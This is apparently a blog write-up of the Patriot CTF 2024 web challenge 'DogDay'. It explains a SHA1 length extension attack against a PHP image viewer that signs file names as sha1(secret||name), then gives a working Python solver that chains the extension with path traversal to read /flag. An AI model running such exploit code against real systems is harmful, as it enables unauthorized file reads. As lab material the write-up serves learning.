Skip to main content
  1. Writeups/

Patriot CTF 2024: DogDay

699 words·4 mins·
PATRIOT CTF WEB CRYPTO MEDIUM
Fayred
Author
Fayred
I’m French, and I’m passionate about computers in general, and computer security in particular. A CTF enthusiast and a Bug Bounty novice, I’m primarily interested in learning, having fun, and sharing what I’ve learned.
Table of Contents

Statement
#

Woof woof

http://chal.competitivecyber.club:7777

Author: Dylan (elbee3779)

Overview
#

For this web challenge, here are the provided source files:

.
├── assets
│   ├── BAD.gif
│   ├── script.js
│   └── style.css
├── index.php
├── pupper
│   ├── 1.png
│   ├── 2.png
│   ├── 3.png
│   ├── 4.png
│   ├── 5.png
│   ├── 6.png
│   ├── 7.png
│   └── 8.png
└── view.php

2 directories, 13 files

The website corresponds to an image gallery that can be viewed in larger size. When clicking on an image to enlarge it, a redirection to /view.php with the parameters pic and hash is performed. The first parameter corresponds to the value of the rel attribute, and the second to the media attribute of the a tag:

<a href="#" media="06dadc9db741e1c2a91f266203f01b9224b5facf" rel="1.png">
	<img src="pupper/1.png" alt="">
</a>

Let’s analyze the view.php file:

<?php
	$pic = $_GET['pic'];
	$hash = $_GET['hash'];
	if(sha1("TEST SECRET1".$pic)==$hash){
		$imgdata = base64_encode(file_get_contents("pupper/".str_replace("\0","",$pic)));
		echo "<!DOCTYPE html>";
		echo "<html><body><h1>Here's your picture:</h1>";
		echo "<img src='data:image/png;base64,".$imgdata."'>";
		echo "</body></html>";
	}else{
		echo "<!DOCTYPE html><html><body>";
		echo "<h1>Invalid hash provided!</h1>";
		echo '<img src="assets/BAD.gif"/>';
		echo "</body></html>";
	}
	// The flag is at /flag, that's all you're getting!
?>

Here we can see that the value of pic corresponds to the file name read by the file_get_contents() function, and hash to SHA1(secret || $pic). To read a file on the server, we need the correct SHA1 signature of the secret concatenated with the file name to read. Additionally, we notice a loose comparison in the condition that verifies the signature. This suggests a PHP type juggling vulnerability. However, to exploit it, we would need to generate a SHA1 hash in the form 0e followed by digits (0 to 9) from an input allowing us to read the /flag file. This is impossible, so we need to find another way to read the flag.

Solution
#

To solve this challenge, we need to briefly understand how SHA1 hashes inputs. Then, based on that, we can exploit a vulnerability related to algorithms based on the Merkle-Damgård Construction like MD5, SHA1, or certain versions of SHA2.

SHA1
#

Here is a diagram to briefly explain how SHA1 hashes inputs:

SHA1 splits the input into 64-byte blocks. If a block is less than 64 bytes, padding is added to make it the correct size. The last chunk will contain an end bit set to 1, i.e., 0x80 (in base2 => 1000 0000), followed by padding and the input size in 8 bytes (in bits). Each chunk is then hashed based on the hash generated by the previous chunk. For the first chunk, h0, h1, h2, h3, and h4 are default values. Now that we have a basic understanding of how SHA1 works, we can understand how the attack works.

Length Extension Attack
#

This attack exploits the fact that SHA1 hashes each block based on the hash of the previous block. We can fill chunk1 with “1.png”, the end bit, padding, and the input size, then write whatever we want in chunk2. Since the data in chunk1 will be the same as the original, we will have the hash of chunk1 to hash chunk2:

Let’s revisit the source code of the view.php file:

$pic = $_GET['pic'];
$hash = $_GET['hash'];
if(sha1("TEST SECRET1".$pic)==$hash){
	$imgdata = base64_encode(file_get_contents("pupper/".str_replace("\0","",$pic)));
	echo "<!DOCTYPE html>";
	echo "<html><body><h1>Here's your picture:</h1>";
	echo "<img src='data:image/png;base64,".$imgdata."'>";
	echo "</body></html>";
}

To read the flag, we just need to fill chunk1 as described earlier and add the path to be appended in chunk2. The payload for this will be passed to the pic parameter. Then, we need to generate the hash of the payload passed to pic based on the hash of secret||1.png, i.e., 06dadc9db741e1c2a91f266203f01b9224b5facf.

Exploitation
#

To exploit this vulnerability, we can use hlextend to simplify the process. Since we don’t know the secret’s length, we will simply test several padding lengths until it works.

PoC:

import requests
import hlextend

for i in range(1, 30):
    sha = hlextend.new('sha1')
    pic = sha.extend(b'/../../../../../flag', b'1.png', i, '06dadc9db741e1c2a91f266203f01b9224b5facf')
    hash = sha.hexdigest()
    url = f'http://chal.competitivecyber.club:7777/view.php?pic={requests.utils.quote(pic)}&hash={hash}'
    r = requests.get(url)
    if 'Invalid hash provided!' not in r.text:
        print(r.text)
        break

Result:

$ python3 solver.py
<!DOCTYPE html><html><body><h1>Here's your picture:</h1><img src='data:image/png;base64,cGN0ZnszeHQzbmRfbXlfdGg0bms1X2U5YjVmNmFhMDd9Cg=='></body></html>

$ echo "cGN0ZnszeHQzbmRfbXlfdGg0bms1X2U5YjVmNmFhMDd9Cg=="|base64 -d
pctf{3xt3nd_my_th4nk5_e9b5f6aa07}

Flag: pctf{3xt3nd_my_th4nk5_e9b5f6aa07}

References
#

Related

L4ugh CTF 2024: Micro
417 words·2 mins
L4UGH CTF WEB EZ